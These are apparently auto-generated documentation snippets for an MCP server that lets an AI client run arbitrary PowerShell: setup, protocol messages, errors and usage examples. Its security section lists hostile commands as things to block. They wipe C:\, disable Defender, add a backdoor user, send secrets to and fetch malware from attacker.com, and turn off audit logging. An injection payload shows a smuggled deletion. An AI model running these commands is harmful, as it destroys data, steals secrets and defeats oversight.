### Verify Server Installation Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Start the server to verify the installation and environment configuration. ```bash python server.py ``` -------------------------------- ### Configure MCP in VSCode Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Example configuration for the .vscode/mcp.json file. ```json { "servers": { "powershell-integration": { "command": "py", "args": [ "path/to/server.py" ], "env": {} } } } ``` -------------------------------- ### Define PowerShell input examples Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/types.md Examples of valid PowerShell script strings passed as input to the tool. ```powershell "Get-Date" ``` ```powershell "$x = 5\nWrite-Host $x" ``` ```powershell "Get-Process | Select-Object Name, Memory" ``` ```powershell "$items = @(1,2,3); $items.Count" ``` -------------------------------- ### Clone and Navigate Repository Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/README.md Initial setup commands to download the project and enter the directory. ```powershell git clone https://github.com/yourusername/mcp-powershell-exec.git cd mcp-powershell-exec ``` -------------------------------- ### Install PowerShell on Unix/Linux Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Commands to install PowerShell on supported Unix/Linux systems. ```bash # Ubuntu/Debian sudo apt-get install powershell # macOS brew install powershell ``` -------------------------------- ### Install FastMCP Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Install the mcp package via pip. ```bash pip install mcp ``` -------------------------------- ### Verify environment dependencies Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Commands to check versions and installation status of required components. ```bash python --version pip list | grep mcp powershell --version python server.py ``` -------------------------------- ### Check Python Version Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verify the installed Python version. ```bash python --version ``` -------------------------------- ### Initialize and Run the MCP Server Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/README.md Instantiates the FastMCP server with the required identifier and starts the execution loop. ```python mcp = FastMCP("powershell-integration") mcp.run() ``` -------------------------------- ### Check PowerShell Version Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verify the installed PowerShell version. ```bash powershell --version ``` -------------------------------- ### MCP Client Environment Configuration Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md Example JSON configuration for passing environment variables to the MCP server. ```json { "env": { "MY_VAR": "my_value" } } ``` -------------------------------- ### Locate PowerShell on Windows Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verify the default installation path for PowerShell on Windows. ```text C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ``` -------------------------------- ### PowerShell Execution Failure Example Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Example of an error string returned when a path is not found. ```text Error: Cannot find path 'C:\NonExistent' because it does not exist. ``` -------------------------------- ### File Not Found Error Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Example of an error string returned when a file does not exist. ```text Cannot find path 'file.txt' because it does not exist. ``` ```text Error: Cannot find path 'file.txt' because it does not exist. ``` -------------------------------- ### Cmdlet Not Found Error Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Example of an error string returned when a cmdlet is not recognized. ```text The term 'Get-Nonexistent' is not recognized as the name of a cmdlet, function, script file, or operable program. ``` ```text Error: The term 'Get-Nonexistent' is not recognized as the name of a cmdlet, function, script file, or operable program. ``` -------------------------------- ### Handle Tool Error Response Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/SUMMARY.md Example of an error JSON-RPC response from the tool. ```json { "jsonrpc": "2.0", "id": 1, "result": { "type": "text", "text": "Error: Cannot find path 'x' because it does not exist." } } ``` -------------------------------- ### Access Denied Error Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Example of an error string returned when access to a path is denied. ```text Access to the path 'C:\System Volume Information' is denied. ``` ```text Error: Access to the path 'C:\System Volume Information' is denied. ``` -------------------------------- ### Execute PowerShell commands via MCP Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/api-reference.md Examples of calling the run_powershell tool with various PowerShell scripts. ```python # Client code calling the tool via MCP result = client.call_tool("run_powershell", { "code": "Get-Date" }) # Returns something like: "Friday, July 11, 2026 3:45:21 PM" ``` ```python result = client.call_tool("run_powershell", { "code": """ $items = Get-ChildItem -Path C:\\ $items | Select-Object Name, Length | ConvertTo-Json """ }) ``` ```python result = client.call_tool("run_powershell", { "code": "Get-Item -Path NonExistent" }) ``` ```python result = client.call_tool("run_powershell", { "code": "Get-Process | Where-Object {$_.Memory -gt 100MB} | Select-Object Name, Memory" }) ``` -------------------------------- ### Verify FastMCP Installation Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Check if the mcp module is available in the current environment. ```bash python -c "import mcp; print('FastMCP OK')" ``` -------------------------------- ### Get Windows Version Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Retrieves the operating system version information using the System.Environment class. ```powershell [System.Environment]::OSVersion ``` -------------------------------- ### Example of Memory-Intensive Script Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/security.md This script demonstrates how large output generation can lead to memory exhaustion. ```powershell $output = @() for ($i = 0; $i -lt 1000000000; $i++) { $output += "Line $i" } $output ``` -------------------------------- ### Enable PowerShell Transcript Logging Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/security.md Use this command to start recording all PowerShell commands and output to a specified log file. ```powershell Start-Transcript -Path C:\logs\powershell.log ``` -------------------------------- ### Execute PowerShell Script in Python Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/SUMMARY.md Example of calling the tool and handling the output or error in a Python client. ```python # Execute PowerShell script result = client.call_tool("run_powershell", { "code": "Get-Date" }) # Check for error if result.startswith("Error: "): error_msg = result[7:] # Remove "Error: " prefix else: output = result ``` -------------------------------- ### Example Hanging PowerShell Script Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Avoid using interactive input functions like Read-Host in scripts. ```powershell $input = Read-Host "Enter value" Write-Host $input ``` -------------------------------- ### Handle Missing PowerShell Executable Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/execution-model.md Example of a FileNotFoundError exception occurring when the PowerShell executable is missing from the system PATH. ```python FileNotFoundError: [Errno 2] No such file or directory: 'powershell' ``` -------------------------------- ### Invalid PowerShell Syntax Error Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/errors.md Example of an error string returned due to a syntax error in the script. ```text Missing closing ')' ``` ```text Error: Missing closing ')' ``` -------------------------------- ### Dangerous PowerShell Execution Patterns Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/security.md Examples of commands that perform malicious actions and should be restricted or blocked in any production environment. ```powershell # Delete all files Remove-Item -Path C:\ -Recurse -Force # Disable Windows Defender Set-MpPreference -DisableRealtimeMonitoring $true # Create backdoor user New-LocalUser -Name backdoor -Password (ConvertTo-SecureString "Password" -AsPlainText -Force) # Exfiltrate data $data = Get-Content -Path C:\secrets.txt Invoke-WebRequest -Uri https://attacker.com -Body $data # Download and execute malware Invoke-WebRequest -Uri https://attacker.com/malware.exe -OutFile malware.exe & .\malware.exe # Disable audit logging auditpol.exe /set /category:* /success:disable /failure:disable ``` -------------------------------- ### Get Current Date and Time via PowerShell Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Executes the Get-Date cmdlet to retrieve the current system date and time. ```powershell Get-Date ``` ```json { "method": "tools/call", "params": { "name": "run_powershell", "arguments": { "code": "Get-Date" } } } ``` -------------------------------- ### Example of PowerShell Injection Payload Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/security.md Shows the resulting malicious command string when a user provides a destructive input payload. ```powershell Write-Host ''; Remove-Item C:\ -Recurse; '' ``` -------------------------------- ### Execute PowerShell command via MCP client Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/00-START-HERE.md Use the run_powershell tool to execute arbitrary PowerShell code. The tool returns stdout on success or an error string starting with 'Error:' on failure. ```python result = client.call_tool("run_powershell", { "code": "Get-Date" }) # Returns: "Friday, July 11, 2026 3:45:21 PM" ``` -------------------------------- ### initialize Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Negotiates the protocol version and capabilities between the client and the server. ```APIDOC ## initialize ### Description Negotiate protocol version and capabilities between the client and server. ### Direction Bidirectional ``` -------------------------------- ### Execute the server process Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/configuration.md Command to initiate the server using the Python interpreter. ```bash py path/to/server.py ``` -------------------------------- ### initialize Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Initializes the connection between the client and the server, establishing protocol version and capabilities. ```APIDOC ## initialize ### Description Establishes the connection and negotiates protocol versions and capabilities. ### Request { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "copilot", "version": "1.0.0" } } } ### Response { "jsonrpc": "2.0", "id": 1, "result": { "protocolVersion": "2024-11-05", "capabilities": { "tools": {} }, "serverInfo": { "name": "powershell-integration", "version": "1.0.0" } } } ``` -------------------------------- ### Clone Repository Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Download the project source code and navigate to the directory. ```bash git clone https://github.com/dfinke/mcp-powershell-exec.git cd mcp-powershell-exec ``` -------------------------------- ### Initialize FastMCP Server Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/configuration.md Instantiate the server with a unique identifier used for client configuration. ```python mcp = FastMCP("powershell-integration") ``` -------------------------------- ### Initialize FastMCP server Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/configuration.md The FastMCP constructor requires only the server name as a parameter. ```python mcp = FastMCP("powershell-integration") # Only parameter: server name ``` -------------------------------- ### Get Process Count Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Returns the total number of currently running processes. ```powershell (Get-Process).Count ``` -------------------------------- ### Test with Minimal Script Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md A minimal script to verify server functionality. ```python # test.py from mcp.server.fastmcp import FastMCP mcp = FastMCP("test") @mcp.tool() def hello() -> str: return "Hello" if __name__ == "__main__": mcp.run() ``` -------------------------------- ### Containerize the server with Docker Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Build and run the server within a Docker container containing Python and PowerShell. ```dockerfile FROM python:3.12-slim # Install PowerShell RUN apt-get update && apt-get install -y powershell # Install FastMCP RUN pip install mcp # Copy server COPY server.py /app/server.py WORKDIR /app CMD ["python", "server.py"] ``` ```bash docker build -t mcp-powershell-exec . docker run -it mcp-powershell-exec ``` -------------------------------- ### Troubleshoot Module Imports Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verify module paths and force reloads when imports fail. ```powershell $PROFILE Get-Module -ListAvailable ``` ```powershell Import-Module -Name "C:\path\to\module" ``` ```powershell Import-Module -Name Module -Force ``` -------------------------------- ### Define and Call PowerShell Functions Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Demonstrates basic function definition with typed parameters and invocation. ```powershell function Add-Numbers { param([int]$a, [int]$b) return $a + $b } Add-Numbers -a 5 -b 3 ``` -------------------------------- ### Initialize Client Request Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Initial handshake request to establish protocol version and client capabilities. ```json { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "copilot", "version": "1.0.0" } } } ``` -------------------------------- ### Project File Structure Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/INDEX.md Displays the directory layout of the project workspace. ```text /workspace/home/output/ ├── INDEX.md (this file) ├── README.md (project overview) ├── api-reference.md (tool signature and usage) ├── types.md (input/output types) ├── configuration.md (server setup) ├── mcp-protocol.md (protocol details) ├── execution-model.md (execution mechanics) ├── errors.md (error handling) ├── security.md (security considerations) ├── usage-examples.md (code examples) ├── deployment.md (installation guide) └── troubleshooting.md (problem solving) ``` -------------------------------- ### Run server as a subprocess in Python Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Use this approach for non-VSCode environments to communicate with the server via stdin/stdout. ```python import subprocess import json # Start server server_process = subprocess.Popen( ["python", "server.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) # Send MCP request request = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "run_powershell", "arguments": { "code": "Get-Date" } } } # Write request to server stdin server_process.stdin.write(json.dumps(request) + "\n") server_process.stdin.flush() # Read response from stdout response_line = server_process.stdout.readline() response = json.loads(response_line) print(response) ``` -------------------------------- ### initialized Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Notifies the server that the initialization process is complete. ```APIDOC ## initialized ### Description Notify server that initialization is complete. ### Direction Client → Server ``` -------------------------------- ### Handle Permission Denied Errors Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Check the user context and file access control lists. ```python import os print(f"Running as: {os.getlogin()}") ``` ```powershell Get-Acl -Path C:\file.txt ``` ```bash sudo python server.py ``` -------------------------------- ### Visualize Documentation Dependencies Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/MANIFEST.md Displays the hierarchical relationship between project documentation files. ```text 00-START-HERE.md ├─→ api-reference.md ├─→ usage-examples.md ├─→ deployment.md ├─→ security.md ├─→ INDEX.md └─→ SUMMARY.md INDEX.md ├─→ api-reference.md ├─→ types.md ├─→ errors.md ├─→ configuration.md ├─→ execution-model.md ├─→ mcp-protocol.md ├─→ deployment.md ├─→ troubleshooting.md └─→ usage-examples.md Each document can stand alone but benefits from cross-references to related documents. ``` -------------------------------- ### Initialize Server Response Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Server acknowledgment of initialization with supported capabilities and server information. ```json { "jsonrpc": "2.0", "id": 1, "result": { "protocolVersion": "2024-11-05", "capabilities": { "tools": {} }, "serverInfo": { "name": "powershell-integration", "version": "1.0.0" } } } ``` -------------------------------- ### Check VSCode Version Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verify the current VSCode version. ```bash code --version ``` -------------------------------- ### Monitor Server Processes Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Use standard shell commands to verify process status and implement a basic loop for automatic restarts upon failure. ```bash # Check if running ps aux | grep server.py # Automatic restart on failure while true; do python server.py sleep 5 done ``` -------------------------------- ### MCP Server Configuration Format Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/configuration.md Define the server command and arguments in the MCP configuration file. ```json { "servers": { "powershell-integration": { "command": "py", "args": [ "path/to/server.py" ], "env": {} } } } ``` ```json { "servers": { "powershell-integration": { "command": "py", "args": [ "d:/mygit/mcp-powershell-exec/server.py" ], "env": {} } } } ``` -------------------------------- ### Execute Multi-line Script with Variables Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Demonstrates variable assignment and outputting strings within a multi-line PowerShell script. ```powershell $today = Get-Date $dayOfWeek = $today.DayOfWeek Write-Host "Today is: $dayOfWeek" ``` -------------------------------- ### List Tools Response Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Server response containing the schema for available tools, including run_powershell. ```json { "jsonrpc": "2.0", "id": 2, "result": { "tools": [ { "name": "run_powershell", "description": "Runs PowerShell code and returns the output.", "inputSchema": { "type": "object", "properties": { "code": { "type": "string", "description": "PowerShell script or command to execute" } }, "required": ["code"] } } ] } } ``` -------------------------------- ### List Tools Request Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Request to retrieve the list of available tools from the server. ```json { "jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {} } ``` -------------------------------- ### tools/list Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Requests a list of all tools currently available on the server. ```APIDOC ## tools/list ### Description Request list of available tools. ### Direction Client → Server ``` -------------------------------- ### Project documentation file structure Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/00-START-HERE.md Visual representation of the project's documentation hierarchy. ```text 00-START-HERE.md ← You are here INDEX.md ← Task-based navigation SUMMARY.md ← Overview of all docs TECHNICAL REFERENCE ├─ api-reference.md ← Tool signature & usage ├─ types.md ← Input/output types ├─ errors.md ← Error conditions ├─ usage-examples.md ← 22 code examples UNDERSTANDING THE SYSTEM ├─ README.md ← Project overview ├─ execution-model.md ← How it works ├─ mcp-protocol.md ← Protocol details USING IN YOUR SYSTEM ├─ configuration.md ← Server setup ├─ deployment.md ← Installation guide ├─ troubleshooting.md ← Common issues OPERATIONS ├─ security.md ← Security guide └─ troubleshooting.md ← Problem solving ``` -------------------------------- ### Handle Missing Tool Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Returned when the requested tool name does not exist on the server. ```json { "jsonrpc": "2.0", "id": 1, "error": { "code": -32600, "message": "Tool not found" } } ``` -------------------------------- ### Test PowerShell Syntax Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verify script execution by running it directly via the command line. ```bash powershell -Command 'Your script here' ``` -------------------------------- ### Update Server from GitHub Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Pull the latest changes from the main branch of the repository. ```bash cd mcp-powershell-exec git pull origin main ``` -------------------------------- ### Configure MCP Server in VSCode Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/README.md Configuration structure for the .vscode/mcp.json file to register the PowerShell integration server. ```json { "servers": { "powershell-integration": { "command": "py", // Python executable "args": [ "drive:/yourpath/server.py" ], "env": {} } } } ``` -------------------------------- ### tools/call Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Executes a specific tool by name with the provided arguments. ```APIDOC ## tools/call ### Description Invokes a tool defined by the server, such as executing PowerShell code. ### Request { "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "run_powershell", "arguments": { "code": "Get-Date" } } } ### Response { "jsonrpc": "2.0", "id": 3, "result": { "type": "text", "text": "Friday, July 11, 2026 3:45:21 PM" } } ``` -------------------------------- ### Visualize the PowerShell execution flow Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/SUMMARY.md A representation of the subprocess execution lifecycle from input to output capture. ```text Input: "Get-Date" ↓ Create subprocess: powershell -Command "Get-Date" ↓ Execute and wait ↓ Capture stdout/stderr ↓ Check exit code ↓ Exit 0? Return stdout Exit non-zero? Return "Error: " + stderr ↓ Output: "Friday, July 11, 2026 3:45:21 PM" ``` -------------------------------- ### Create and Write to File Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Writes a string to a specified file path and retrieves the content to verify the operation. ```powershell $path = "test.txt" "Hello, World!" | Out-File -FilePath $path -Encoding UTF8 Get-Content -Path $path ``` -------------------------------- ### Call Tool Request Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Request to execute a specific tool with provided arguments. ```json { "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "run_powershell", "arguments": { "code": "Get-Date" } } } ``` -------------------------------- ### tools/list Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Retrieves a list of available tools provided by the server. ```APIDOC ## tools/list ### Description Returns the list of tools available for execution on the server. ### Request { "jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {} } ### Response { "jsonrpc": "2.0", "id": 2, "result": { "tools": [ { "name": "run_powershell", "description": "Runs PowerShell code and returns the output.", "inputSchema": { "type": "object", "properties": { "code": { "type": "string", "description": "PowerShell script or command to execute" } }, "required": ["code"] } } ] } } ``` -------------------------------- ### List Files in Directory Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Retrieves file metadata including name, size, and last write time for items in the root directory. ```powershell Get-ChildItem -Path C:\ | Select-Object Name, Length, LastWriteTime | Format-Table ``` -------------------------------- ### Retrieve Network Configuration Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Lists IPv4 addresses and their corresponding interface aliases. ```powershell Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress, InterfaceAlias ``` -------------------------------- ### Configure Server Redundancy Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Define multiple server instances in the configuration file to enable load balancing for critical deployments. ```json { "servers": { "powershell-1": { "command": "python", "args": ["/app/server.py"] }, "powershell-2": { "command": "python", "args": ["/app/server.py"] } } } ``` -------------------------------- ### Test PowerShell Execution Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Verify PowerShell command execution and responsiveness. ```bash powershell -Command "Write-Host 'Test'; [System.Threading.Thread]::Sleep(5000); Write-Host 'Done'" ``` -------------------------------- ### Handle Permission Denied Error Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Demonstrates the error output format when access to a system path is restricted. ```powershell Get-Content -Path "C:\System Volume Information\file.txt" ``` -------------------------------- ### FastMCP Response Wrapping Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Demonstrates how raw return values are mapped to the MCP text response format. ```python return output ``` ```json { "type": "text", "text": "output" } ``` -------------------------------- ### Handle File Not Found Error Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Demonstrates the error output format when attempting to read a non-existent file. ```powershell Get-Content -Path "NonExistent.txt" ``` -------------------------------- ### Resolve File Path Issues Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Check working directory, use absolute paths, and verify file permissions. ```powershell Get-Location ``` ```powershell # Instead of: Get-Content file.txt # Use: Get-Content C:\Users\username\Documents\file.txt ``` ```powershell Test-Path -Path C:\file.txt Get-Content C:\file.txt ``` ```powershell (Get-Item C:\file.txt).FullName ``` -------------------------------- ### Specify Absolute Python Path Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Use an absolute path to the Python executable in the configuration if the default command is not recognized. ```json { "command": "C:\\Python312\\python.exe", ... } ``` -------------------------------- ### Check PowerShell Path Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Locate the PowerShell executable on the system. ```bash # Windows where powershell # Unix/Linux which powershell which pwsh ``` -------------------------------- ### Tool Response Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/configuration.md Successful JSON-RPC 2.0 response returned by the server containing the command output. ```json { "jsonrpc": "2.0", "id": 1, "result": { "type": "text", "text": "Friday, July 11, 2026 3:45:21 PM" } } ``` -------------------------------- ### Define run_powershell tool Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/api-reference.md The tool definition using the FastMCP decorator. ```python @mcp.tool() def run_powershell(code: str) -> str: """Runs PowerShell code and returns the output.""" ``` -------------------------------- ### Remove Project Files Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Delete the project directory from the filesystem. ```bash rm -rf mcp-powershell-exec ``` -------------------------------- ### tools/call Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Invokes a specific tool by name and receives the execution result. ```APIDOC ## tools/call ### Description Invoke a tool and receive result. ### Direction Client → Server ### Parameters - **name** (string) - Required - The name of the tool to execute. - **arguments** (object) - Required - The arguments to pass to the tool. ``` -------------------------------- ### Inefficient Multi-step PowerShell Execution Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Avoid making multiple separate calls to the run_powershell tool as each call spawns a new process. ```python date = client.call_tool("run_powershell", {"code": "Get-Date"}) user = client.call_tool("run_powershell", {"code": "$env:USERNAME"}) version = client.call_tool("run_powershell", {"code": "$PSVersionTable.PSVersion"}) # ... etc ``` -------------------------------- ### Handle Syntax Error Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Demonstrates the error output format for malformed PowerShell syntax. ```powershell Write-Host "Unclosed string ``` -------------------------------- ### Handle Unsupported Method Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Returned when the client attempts to invoke a method not implemented by the server. ```json { "jsonrpc": "2.0", "id": 1, "error": { "code": -32601, "message": "Method not found" } } ``` -------------------------------- ### Collect diagnostic information Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Automated script to save system environment details and server output logs to files for troubleshooting. ```bash # Save system info echo "=== System Info ===" > diagnostics.txt python --version >> diagnostics.txt powershell --version >> diagnostics.txt pip list >> diagnostics.txt # Save server output python server.py > server.log 2>&1 ``` -------------------------------- ### Invoke PowerShell tool via MCP client Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/INDEX.md Basic pattern for calling the run_powershell tool using an MCP client. ```python result = client.call_tool("run_powershell", {"code": "Get-Date"}) ``` -------------------------------- ### Handle tool execution errors Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/api-reference.md Pattern for checking the returned string for the 'Error: ' prefix to identify failed executions. ```python result = call_tool("run_powershell", {"code": script}) if result.startswith("Error: "): # Handle error error_message = result[7:] # Strip "Error: " prefix else: # Process output output = result ``` -------------------------------- ### Enable Verbose Output via Environment Variable Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Set the PYTHONUNBUFFERED environment variable to ensure output is not buffered. ```json { "env": { "PYTHONUNBUFFERED": "1" } } ``` -------------------------------- ### List Directory Contents Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Lists files and folders in the current working directory using Get-ChildItem. ```powershell Get-ChildItem ``` -------------------------------- ### Define run_powershell tool input Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/INDEX.md The tool accepts a single string argument containing the PowerShell script to execute. ```python code: str # PowerShell script to execute ``` -------------------------------- ### run_powershell Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/api-reference.md Executes PowerShell code and returns the standard output or an error message. ```APIDOC ## Tool: run_powershell ### Description Executes PowerShell code and returns the output or error message. The tool runs the provided code in a fresh PowerShell process and captures stdout and stderr. ### Signature `run_powershell(code: str) -> str` ### Parameters - **code** (str) - Required - PowerShell script or command to execute. ### Return Type - **str** - Returns stdout if successful, or "Error: " followed by stderr if the process exits with a non-zero code. ### Usage Example ```python result = client.call_tool("run_powershell", { "code": "Get-Date" }) ``` ``` -------------------------------- ### Configure environment variables in MCP Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Define environment variables for the server process within the MCP configuration file. ```json { "servers": { "powershell-integration": { "command": "python", "args": ["server.py"], "env": { "PYTHONUNBUFFERED": "1" } } } } ``` -------------------------------- ### List Running Processes Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Filters active processes by memory usage and displays the name and memory consumption in a table format. ```powershell Get-Process | Where-Object {$_.Memory -gt 50MB} | Select-Object Name, Memory | Format-Table ``` -------------------------------- ### Implement Client-Side Timeout Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/troubleshooting.md Use a thread to enforce a timeout on tool execution. ```python import threading def run_with_timeout(code: str, timeout_seconds: int = 30) -> str: result = [None] def execute(): result[0] = call_tool("run_powershell", {"code": code}) thread = threading.Thread(target=execute, daemon=True) thread.start() thread.join(timeout=timeout_seconds) if thread.is_alive(): return "Error: Timeout" return result[0] ``` -------------------------------- ### Handle Invalid Parameters Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/mcp-protocol.md Returned when a tool call is missing mandatory fields like name or arguments. ```json { "jsonrpc": "2.0", "id": 1, "error": { "code": -32602, "message": "Invalid params" } } ``` -------------------------------- ### Capture Server Stderr to File Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/deployment.md Redirect standard error output to a log file when spawning the server process. ```python server_process = subprocess.Popen( ["python", "server.py"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=open("server_errors.log", "w"), text=True ) ``` -------------------------------- ### Retrieve Disk Space Information Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/usage-examples.md Displays drive letters, total size, and remaining space for all volumes. ```powershell Get-Volume | Select-Object DriveLetter, Size, SizeRemaining | Format-Table ``` -------------------------------- ### Handle MCP tool call responses Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/types.md JSON-RPC response structures for successful and failed tool executions. ```json { "jsonrpc": "2.0", "id": , "result": { "type": "text", "text": "" } } ``` ```json { "jsonrpc": "2.0", "id": , "result": { "type": "text", "text": "Error: " } } ``` -------------------------------- ### Construct MCP tool call request Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/types.md The JSON-RPC structure for invoking the PowerShell tool. ```json { "jsonrpc": "2.0", "id": , "method": "tools/call", "params": { "name": "run_powershell", "arguments": { "code": "" } } } ``` -------------------------------- ### Tool Invocation Request Source: https://github.com/dfinke/mcp-powershell-exec/blob/main/_autodocs/configuration.md JSON-RPC 2.0 message sent from the client to invoke the run_powershell tool. ```json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "run_powershell", "arguments": { "code": "Get-Date" } } } ``` 